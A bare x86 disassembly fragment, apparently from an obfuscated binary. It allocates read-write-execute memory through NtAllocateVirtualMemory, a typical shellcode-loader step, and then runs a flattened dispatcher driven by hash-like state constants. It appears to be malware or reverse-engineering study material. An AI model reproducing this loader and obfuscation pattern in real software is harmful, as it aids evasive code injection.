sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov dword [ebp - 0x174], 0xf7961f71
jmp 0x1000eafe
mov eax, dword [ebp - 0x12c]
mov eax, dword [ebp - 0x138]
mov eax, dword [ebp - 0x128]
mov eax, dword [ebp - 0x124]
mov dword [ebp - 0x174], 0xae0b7111
jmp 0x1000eafe
mov eax, dword [ebp - 0x58]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x174], 0xe56215bf
jmp 0x1000eafe
mov eax, dword [ebp - 0x148]
mov eax, dword [ebp - 0x130]
mov dword [ebp - 0x174], 0x8ae63683
jmp 0x1000eafe
mov dword [ebp - 0x174], 0xcbf04961
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x1fbad44f
jmp 0x1000eafe
mov dword [ebp - 0x174], 0x505d832a
jmp 0x1000eafe
mov dword [ebp - 0x174], 0xe876d30c
jmp 0x1000eafe
mov eax, dword [ebp - 0x164]
mov dword [ebp - 0x174], 0x98214ddb
jmp 0x1000eafe
jmp 0x1000790f